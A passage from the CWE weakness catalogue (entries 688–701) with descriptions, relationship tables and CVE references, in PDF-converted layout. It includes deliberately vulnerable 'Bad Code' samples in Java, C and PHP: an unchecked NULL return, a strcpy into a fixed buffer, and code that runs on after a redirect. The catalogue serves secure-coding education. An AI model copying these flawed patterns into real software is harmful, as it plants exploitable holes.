ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393
ParentOf		560	Use of umask() with chmod-style Argument	<b>1000</b>	895

**Relationship Notes**

When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MEM04-C	Do not perform zero length allocations
CERT C++ Secure Coding	MEM04-CPP	Do not perform zero length allocations

## CWE-688: Function Call With Incorrect Variable or Reference as Argument

Weakness ID: 688 (Weakness Variant)

Status: Draft

**Description****Summary**

The software calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- Perl

### Modes of Introduction

This problem typically occurs when the programmer makes a typo, or copy and paste errors.

### Common Consequences

#### Other

#### Quality degradation

### Detection Methods

#### Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

### Demonstrative Examples

In the following Java snippet, the `accessGranted()` method is accidentally called with the static `ADMIN_ROLES` array rather than the user roles.

#### Java Example:

*Bad Code*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}
```

### Observed Examples

Reference	Description
CVE-2005-2548	Kernel code specifies the wrong variable in first argument, leading to resultant NULL pointer dereference.

### Potential Mitigations

#### Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>B</b>	628	Function Call with Incorrectly Specified Arguments	<b>699</b>	977
ChildOf	<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

# CWE-689: Permission Race Condition During Resource Copy

Compound Element ID: 689 (Compound Element Base: Composite)

Status: Draft

## Description

### Summary

The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- Perl

### Modes of Introduction

Common examples occur in file archive extraction, in which the product begins the extraction with insecure default permissions, then only sets the final permissions (as specified in the archive) once the copy is complete. The larger the archive, the larger the timing window for the race condition.

This weakness has also occurred in some operating system utilities that perform copies of deeply nested directories containing a large number of files.

This weakness can occur in any type of functionality that involves copying objects or resources in a multi-user environment, including at the application level. For example, a document management system might allow a user to copy a private document, but if it does not set the new copy to be private as soon as the copy begins, then other users might be able to view the document while the copy is still taking place.

### Common Consequences

#### Confidentiality

#### Integrity

#### Read application data

#### Modify application data





### Observed Examples

Reference	Description
CVE-2002-0760	Archive extractor decompresses files with world-readable permissions, then later sets permissions to what the archive specified.
CVE-2003-0265	Database product creates files world-writable before initializing the setuid bits, leading to modification of executables.
CVE-2005-2174	Product inserts a new object into database before setting the object's permissions, introducing a race condition.
CVE-2005-2475	Archive permissions issue using hard link.
CVE-2006-5214	Error file has weak permissions before a chmod is performed.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		275	Permission Issues	<b>699</b>	488
Requires		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	1000	627
ChildOf		732	Incorrect Permission Assignment for Critical Resource	<b>1000</b>	1121
Requires		732	Incorrect Permission Assignment for Critical Resource	1000	1121

### Research Gaps

Under-studied. It seems likely that this weakness could occur in any situation in which a complex or large copy operation occurs, when the resource can be made available to other spheres as soon as it is created, but before its initialization is complete.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
26	Leveraging Race Conditions	
27	Leveraging Race Conditions via Symbolic Links	

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Permission Races", Page 533.. 1st Edition. Addison Wesley. 2006.

## CWE-690: Unchecked Return Value to NULL Pointer Dereference

Compound Element ID: 690 (Compound Element Base: Chain) Status: Draft

### Description

#### Summary

The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.

#### Extended Description

While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.

### Applicable Platforms

#### Languages

- C
- C++

### Modes of Introduction

A typical occurrence of this weakness occurs when an application includes user-controlled input to a malloc() call. The related code might be correct with respect to preventing buffer overflows, but if a large value is provided, the malloc() will fail due to insufficient memory. This problem also frequently occurs when a parsing routine expects that certain elements will always be present. If malformed input is provided, the parser might return NULL. For example, strtok() can return NULL.

### Common Consequences

#### Availability

**DoS: crash / exit / restart**

### Detection Methods

#### Black Box

This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.

#### White Box

Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.

### Demonstrative Examples

#### Example 1:

The code below makes a call to the getUsername() function but doesn't check the return value before dereferencing (which may cause a NullPointerException).

#### Java Example:

*Bad Code*

```
String username = getUsername();
if (username.equals(ADMIN_USER)) {
    ...
}
```

#### Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

**C Example:**

*Bad Code*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to `gethostbyaddr()` will return `NULL`. Since the code does not check the return value from `gethostbyaddr` (CWE-252), a `NULL` pointer dereference (CWE-476) would then occur in the call to `strcpy()`.

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

**Observed Examples**

Reference	Description
CVE-2003-1054	URI parsing API sets argument to <code>NULL</code> when a parsing failure occurs, such as when the Referer header is missing a hostname, leading to <code>NULL</code> dereference.
CVE-2006-2555	Parsing routine encounters <code>NULL</code> dereference when input is missing a colon separator.
CVE-2006-6227	Large message length field leads to <code>NULL</code> pointer dereference when <code>malloc</code> fails.
CVE-2008-1052	Large Content-Length value leads to <code>NULL</code> pointer dereference when <code>malloc</code> fails.
CVE-2008-5183	chain: unchecked return value can lead to <code>NULL</code> dereference

**Relationships**

Nature	Type	ID	Name	V	∞	Page
ChildOf		20	Improper Input Validation	<b>1000</b>		18
StartsWith		252	Unchecked Return Value	709	690	446
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>		1294
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>		1314

**Relevant Properties**

- Validity

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	ERR08-J	Do not catch <code>NullPointerException</code> or any of its ancestors
CERT C++ Secure Coding	MEM32-CPP	Detect and handle memory allocation errors

# CWE-691: Insufficient Control Flow Management

Weakness ID: 691 (Weakness Class) Status: Draft

**Description**

**Summary**

The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences****Other****Alter execution logic****Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	699	626
ChildOf	C	977	SFP Secondary Cluster: Design	888	1382
ParentOf	C	94	Improper Control of Generation of Code ('Code Injection')	1000	173
ParentOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	1000	627
ParentOf	B	430	Deployment of Wrong Handler	1000	738
ParentOf	B	431	Missing Handler	1000	739
ParentOf	V	623	Unsafe ActiveX Control Marked Safe For Scripting	1000	971
ParentOf	B	662	Improper Synchronization	1000	1024
ParentOf	C	670	Always-Incorrect Control Flow Implementation	1000	1037
ParentOf	C	696	Incorrect Behavior Order	1000	1077
ParentOf	C	705	Incorrect Control Flow Scoping	1000	1105
ParentOf	B	749	Exposed Dangerous Method or Function	1000	1138
ParentOf	V	768	Incorrect Short Circuit Evaluation	1000	1173
ParentOf	C	799	Improper Control of Interaction Frequency	1000	1225
ParentOf	B	834	Excessive Iteration	699	1272
				1000	
ParentOf	B	841	Improper Enforcement of Behavioral Workflow	1000	1284
MemberOf	V	1000	Research Concepts	1000	1402

**Relevant Properties**

- Validity

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	40	Insufficient Process Validation

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

**Maintenance Notes**

This is a fairly high-level concept, although it covers a number of weaknesses in CWE that were more scattered throughout the Research view (CWE-1000) before Draft 9 was released.

**CWE-692: Incomplete Blacklist to Cross-Site Scripting**

Compound Element ID: 692 (Compound Element Base: Chain)

Status: Draft

**Description****Summary**

The product uses a blacklist-based protection mechanism to defend against XSS attacks, but the blacklist is incomplete, allowing XSS variants to succeed.

**Extended Description**

While XSS might seem simple to prevent, web browsers vary so widely in how they parse web pages, that a blacklist cannot keep track of all the variations. The "XSS Cheat Sheet" [R.692.1] contains a large number of attacks that are intended to bypass incomplete blacklists.

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences**

**Confidentiality**  
**Integrity**  
**Availability**  
**Execute unauthorized code or commands**

#### Observed Examples

Reference	Description
CVE-2006-3617	Blacklist only removes <SCRIPT> tag.
CVE-2006-4308	Blacklist only checks "javascript:" tag
CVE-2007-5727	Blacklist only removes <SCRIPT> tag.

#### Relationships

Nature	Type	ID	Name			Page
ChildOf		20	Improper Input Validation	1000		18
StartsWith		184	Incomplete Blacklist	709	692	352

#### Relevant Properties

- Validity

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
19	Embedding Scripts within Scripts	
32	Embedding Scripts in HTTP Query Strings	
63	Simple Script Injection	
71	Using Unicode Encoding to Bypass Validation Logic	
80	Using UTF-8 Encoding to Bypass Validation Logic	
85	AJAX Fingerprinting	
86	Embedding Script (XSS) in HTTP Headers	
91	XSS in IMG Tags	
199	Cross-Site Scripting Using Alternate Syntax	
244	Cross-Site Scripting via Encoded URI Schemes	
267	Leverage Alternate Encoding	

#### References

S. Christey. "Blacklist defenses as a breeding ground for vulnerability variants". February 2006. <<http://seclists.org/fulldisclosure/2006/Feb/0040.html>>.

## CWE-693: Protection Mechanism Failure

Weakness ID: 693 (Weakness Class)

Status: Draft

#### Description

##### Summary

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

##### Extended Description

This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All



## Common Consequences

### Access Control

### Bypass protection mechanism

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	699	452
ChildOf	C	975	SFP Secondary Cluster: Architecture	888	1382
ParentOf	G	20	Improper Input Validation	1000	18
ParentOf	B	179	Incorrect Behavior Order: Early Validation	1000	345
ParentOf	B	182	Collapse of Data into Unsafe Value	1000	350
ParentOf	B	183	Permissive Whitelist	1000	352
ParentOf	B	184	Incomplete Blacklist	1000	352
ParentOf	C	284	Improper Access Control	1000	499
ParentOf	B	295	Improper Certificate Validation	1000	521
ParentOf	B	311	Missing Encryption of Sensitive Data	1000	548
ParentOf	C	326	Inadequate Encryption Strength	1000	571
ParentOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	1000	573
ParentOf	C	345	Insufficient Verification of Data Authenticity	1000	600
ParentOf	B	357	Insufficient UI Warning of Dangerous Operations	1000	621
ParentOf	B	358	Improperly Implemented Security Check for Standard	1000	621
ParentOf	G	424	Improper Protection of Alternate Path	1000	727
ParentOf	B	602	Client-Side Enforcement of Server-Side Security	1000	947
ParentOf	B	653	Insufficient Compartmentalization	1000	1011
ParentOf	B	654	Reliance on a Single Factor in a Security Decision	1000	1012
ParentOf	B	655	Insufficient Psychological Acceptability	1000	1014
ParentOf	B	656	Reliance on Security Through Obscurity	1000	1015
ParentOf	G	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	1000	1152
ParentOf	B	778	Insufficient Logging	1000	1193
ParentOf	B	807	Reliance on Untrusted Inputs in a Security Decision	1000	1239
MemberOf	V	1000	Research Concepts	1000	1402

## Research Gaps

The concept of protection mechanisms is well established, but protection mechanism failures have not been studied comprehensively. It is suspected that protection mechanisms can have significantly different types of weaknesses than the weaknesses that they are intended to prevent.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
1	Accessing Functionality Not Properly Constrained by ACLs	
16	Dictionary-based Password Attack	
17	Accessing, Modifying or Executing Executable Files	
20	Encryption Brute Forcing	
22	Exploiting Trust in Client (aka Make the Client Invisible)	
36	Using Unpublished Web Service APIs	
49	Password Brute Forcing	
51	Poison Web Service Registry	
55	Rainbow Table Password Cracking	
56	Removing/short-circuiting 'guard logic'	
57	Utilizing REST's Trust in the System Resource to Register Man in the Middle	
59	Session Credential Falsification through Prediction	
65	Passively Sniff and Capture Application Code Bound for Authorized Client	
70	Try Common(default) Usernames and Passwords	
74	Manipulating User State	
87	Forceful Browsing	
97	Cryptanalysis	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
103	Clickjacking	
107	Cross Site Tracing	
127	Directory Indexing	
237	Calling Signed Code From Another Language Within A Sandbox Allow This	
474	Signature Spoofing by Key Theft	
475	Signature Spoofing by Improper Validation	
477	Signature Spoofing by Mixing Signed and Unsigned Content	

### Maintenance Notes

This is a fairly high-level concept, although it covers a number of weaknesses in CWE that were more scattered throughout the natural hierarchy before Draft 9 was released.

## CWE-694: Use of Multiple Resources with Duplicate Identifier

Weakness ID: 694 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.

#### Extended Description

If the software assumes that each resource has a unique identifier, the software could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Access Control

#### Bypass protection mechanism

If unique identifiers are assumed when protecting sensitive resources, then duplicate identifiers might allow attackers to bypass the protection.

#### Other

#### Quality degradation

### Observed Examples




Reference	Description
CVE-2013-4787	chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive.

### Potential Mitigations

#### Architecture and Design

Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		99	Improper Control of Resource Identifiers ('Resource Injection')		699 1000 190
ChildOf		573	Improper Following of Specification by Caller		699 1000 910
ChildOf		984	SFP Secondary Cluster: Life Cycle		888 1386
ParentOf		102	Struts: Duplicate Validation Forms		1000 193
ParentOf		462	Duplicate Key in Associative List (Alist)		1000 779

### Relationship Notes

This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's often a case of an API contract violation (CWE-227).

### Relevant Properties

- Uniqueness

## CWE-695: Use of Low-Level Functionality

Weakness ID: 695 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software uses low-level functionality that is explicitly prohibited by the framework or specification under which the software is supposed to operate.

#### Extended Description

The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

Other

Other

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		573	Improper Following of Specification by Caller	<b>699</b> <b>1000</b>	910
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403
ParentOf		111	Direct Use of Unsafe JNI	1000	208
ParentOf		245	J2EE Bad Practices: Direct Management of Connections	1000	435
ParentOf		246	J2EE Bad Practices: Direct Use of Sockets	1000	437
ParentOf		383	J2EE Bad Practices: Direct Use of Threads	1000	662
ParentOf		574	EJB Bad Practices: Use of Synchronization Primitives	699 1000	911
ParentOf		575	EJB Bad Practices: Use of AWT Swing	699 1000	913
ParentOf		576	EJB Bad Practices: Use of Java I/O	699 1000	915

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
36	Using Unpublished Web Service APIs	

## CWE-696: Incorrect Behavior Order

Weakness ID: 696 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

**Integrity**

**Alter execution logic**

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		691	Insufficient Control Flow Management	1000	1072
ChildOf		748	CERT C Secure Coding Section 50 - POSIX (POS)	734	1137
ChildOf		840	Business Logic Errors	699	1283
ChildOf		977	SFP Secondary Cluster: Design	888	1382
ParentOf		179	<i>Incorrect Behavior Order: Early Validation</i>	1000	345
ParentOf		408	<i>Incorrect Behavior Order: Early Amplification</i>	1000	707
ParentOf		551	<i>Incorrect Behavior Order: Authorization Before Parsing and Canonicalization</i>	1000	889

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	POS36-C	Observe correct revocation order while relinquishing privileges

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
463	Padding Oracle Crypto Attack	

# CWE-697: Insufficient Comparison

**Weakness ID:** 697 (Weakness Class) **Status:** Incomplete

**Description**

**Summary**

The software compares two entities in a security-relevant context, but the comparison is insufficient, which may lead to resultant weaknesses.

**Extended Description**

This weakness class covers several possibilities:  
 the comparison checks one factor incorrectly;  
 the comparison should consider multiple factors, but it does not check some of those factors at all.

**Time of Introduction**

- Implementation

**Common Consequences**

**Other**

**Other**

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors	699	332
ChildOf		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	734	1137
ChildOf		883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1318
ChildOf		977	SFP Secondary Cluster: Design	888	1382
ParentOf		183	<i>Permissive Whitelist</i>	1000	352
ParentOf		184	<i>Incomplete Blacklist</i>	1000	352
ParentOf		185	<i>Incorrect Regular Expression</i>	1000	355
ParentOf		187	<i>Partial Comparison</i>	1000	357
ParentOf		372	<i>Incomplete Internal State Distinction</i>	1000	651
ParentOf		478	<i>Missing Default Case in Switch Statement</i>	1000	804

Nature	Type	ID	Name	CVSS	Page
CanFollow	V	481	Assigning instead of Comparing	1000	811
ParentOf	V	486	Comparison of Classes by Name	1000	820
ParentOf	B	595	Comparison of Object References Instead of Object Contents	1000	936
ParentOf	B	596	Incorrect Semantic Object Comparison	1000	938
MemberOf	V	1000	Research Concepts	1000	1402

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MSC31-C	Ensure that return values are compared against the proper type
CERT C++ Secure Coding	MSC31-CPP	Ensure that return values are compared against the proper type

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
4	Using Alternative IP Address Encodings	
6	Argument Injection	
7	Blind SQL Injection	
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
14	Client-side Injection-induced Buffer Overflow	
15	Command Delimiters	
18	Embedding Scripts in Non-Script Elements	
19	Embedding Scripts within Scripts	
24	Filter Failure through Buffer Overflow	
32	Embedding Scripts in HTTP Query Strings	
34	HTTP Response Splitting	
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads	
43	Exploiting Multiple Input Interpretation Layers	
44	Overflow Binary Resource File	
45	Buffer Overflow via Symbolic Links	
46	Overflow Variables and Tags	
47	Buffer Overflow via Parameter Expansion	
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	
63	Simple Script Injection	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
66	SQL Injection	
67	String Format Overflow in syslog()	
71	Using Unicode Encoding to Bypass Validation Logic	
73	User-Controlled Filename	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	
86	Embedding Script (XSS) in HTTP Headers	
88	OS Command Injection	
91	XSS in IMG Tags	
92	Forced Integer Overflow	
174	Flash Parameter Injection	
182	Flash Injection	
199	Cross-Site Scripting Using Alternate Syntax	
244	Cross-Site Scripting via Encoded URI Schemes	
267	Leverage Alternate Encoding	

## CWE-698: Execution After Redirect (EAR)

Weakness ID: 698 (Weakness Base)

Status: Incomplete

**Description**

**Summary**

The web application sends a redirect to another location, but instead of exiting, it executes additional code.

**Alternate Terms**

**Redirect Without Exit**

**Time of Introduction**

- Implementation

**Common Consequences**

**Other**

**Confidentiality**

**Integrity**

**Availability**

**Alter execution logic**

**Execute unauthorized code or commands**

This weakness could affect the control flow of the application and allow execution of untrusted code.

**Detection Methods**

**Black Box**

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.

**Demonstrative Examples**

This code queries a server and displays its status when a request comes from an authorized IP address.

**PHP Example:**

*Bad Code*

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipWhitelist)){
    echo "You are not authorized to view this page";
    http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling http\_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

**Observed Examples**

Reference	Description
CVE-2007-2713	Remote attackers can obtain access to administrator functionality through EAR.
CVE-2007-2713	Chain: Execution after redirect triggers eval injection.
CVE-2007-4932	Remote attackers can obtain access to administrator functionality through EAR.
CVE-2007-5578	Bypass of authentication step through EAR.
CVE-2007-6652	chain: execution after redirect allows non-administrator to perform static code injection.
CVE-2009-1936	chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
CVE-2013-1402	Execution-after-redirect allows access to application configuration details.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		361	Time and State	699	626
ChildOf		670	Always-Incorrect Control Flow Implementation	1000	1037

Nature	Type	ID	Name	▾	Page
ChildOf	⊕	705	Incorrect Control Flow Scoping	1000	1105
ChildOf	⊖	977	SFP Secondary Cluster: Design	888	1382
MemberOf	▾	884	CWE Cross-section	884	1319

### References

Adam Doupé, Bryce Boe, Christopher Kruegel and Giovanni Vigna. "Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities". < <http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf> >.

## CWE-699: Development Concepts

View ID: 699 (View: Graph)

Status: Incomplete

### Objective

This view organizes weaknesses around concepts that are frequently used or encountered in software development. Accordingly, this view can align closely with the perspectives of developers, educators, and assessment vendors. It borrows heavily from the organizational structure used by Seven Pernicious Kingdoms, but it also provides a variety of other categories that are intended to simplify navigation, browsing, and mapping.

### View Data

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>756</b>	out of	1003
<b>Views</b>	4	out of	32
<b>Categories</b>	65	out of	244
<b>Weaknesses</b>	682	out of	719
<b>Compound_Elements</b>	5	out of	8

### View Audience

Assessment Vendors

Developers

Educators

### Relationships

Nature	Type	ID	Name	▾	Page
HasMember	⊖	1	Location	699	1
HasMember	⊖	504	Motivation/Intent	699	850
HasMember	▾	629	Weaknesses in OWASP Top Ten (2007)	699	979
HasMember	▾	631	Resource-specific Weaknesses	699	980
HasMember	▾	701	Weaknesses Introduced During Design	699	1082
HasMember	▾	702	Weaknesses Introduced During Implementation	699	1090

## CWE-700: Seven Pernicious Kingdoms

View ID: 700 (View: Graph)

Status: Incomplete

### Objective

This view (graph) organizes weaknesses using a hierarchical structure that is similar to that used by Seven Pernicious Kingdoms.

### View Data

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>97</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	7	out of	244
<b>Weaknesses</b>	89	out of	719
<b>Compound_Elements</b>	1	out of	8

### View Audience



## Developers

This view is useful for developers because it is organized around concepts with which developers are familiar, and it focuses on weaknesses that can be detected using source code analysis tools.

## Alternate Terms

### 7PK

"7PK" is frequently used by the MITRE team as an abbreviation.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember	<span style="color: red;">C</span>	2	Environment	700	1
HasMember	<span style="color: green;">C</span>	20	Improper Input Validation	700	18
HasMember	<span style="color: green;">C</span>	227	Improper Fulfillment of API Contract ('API Abuse')	700	418
HasMember	<span style="color: red;">C</span>	254	Security Features	700	452
HasMember	<span style="color: red;">C</span>	361	Time and State	700	626
HasMember	<span style="color: red;">C</span>	388	Error Handling	700	669
HasMember	<span style="color: green;">C</span>	398	Indicator of Poor Code Quality	700	684
HasMember	<span style="color: green;">C</span>	485	Insufficient Encapsulation	700	819

# CWE-701: Weaknesses Introduced During Design

View ID: 701 (View: *Implicit Slice*)

Status: Incomplete

## Objective

This view (slice) lists weaknesses that can be introduced during design.

## View Data

### Filter Used:

```
//Introductory_Phase='Architecture and Design'
```

### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>383</b>	out of	<b>1003</b>
<b>Views</b>	<b>0</b>	out of	<b>32</b>
<b>Categories</b>	<b>3</b>	out of	<b>244</b>
<b>Weaknesses</b>	<b>377</b>	out of	<b>719</b>
<b>Compound_Elements</b>	<b>3</b>	out of	<b>8</b>

## CWEs Included in this View

Type	ID	Name
<span style="color: purple;">V</span>	6	J2EE Misconfiguration: Insufficient Session-ID Length
<span style="color: purple;">V</span>	7	J2EE Misconfiguration: Missing Custom Error Page
<span style="color: purple;">V</span>	8	J2EE Misconfiguration: Entity Bean Declared Remote
<span style="color: purple;">V</span>	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods
<span style="color: purple;">V</span>	13	ASP.NET Misconfiguration: Password in Configuration File
<span style="color: green;">C</span>	20	Improper Input Validation
<span style="color: green;">C</span>	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
<span style="color: purple;">V</span>	24	Path Traversal: '../filedir'
<span style="color: blue;">B</span>	36	Absolute Path Traversal
<span style="color: blue;">B</span>	66	Improper Handling of File Names that Identify Virtual Resources
<span style="color: purple;">V</span>	67	Improper Handling of Windows Device Names
<span style="color: purple;">V</span>	69	Improper Handling of Windows ::DATA Alternate Data Stream
<span style="color: purple;">V</span>	71	Apple '.DS_Store'
<span style="color: purple;">V</span>	72	Improper Handling of Apple HFS+ Alternate Data Stream Path
<span style="color: green;">C</span>	73	External Control of File Name or Path
<span style="color: green;">C</span>	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
<span style="color: green;">C</span>	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
<span style="color: blue;">B</span>	76	Improper Neutralization of Equivalent Special Elements

Type	ID	Name
C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')
B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
V	84	Improper Neutralization of Encoded URI Schemes in a Web Page
B	88	Argument Injection or Modification
B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
B	91	XML Injection (aka Blind XPath Injection)
B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')
C	94	Improper Control of Generation of Code ('Code Injection')
B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
B	99	Improper Control of Resource Identifiers ('Resource Injection')
C	100	Technology-Specific Input Validation Problems
B	115	Misinterpretation of Input
C	116	Improper Encoding or Escaping of Output
C	118	Improper Access of Indexable Resource ('Range Error')
C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
V	121	Stack-based Buffer Overflow
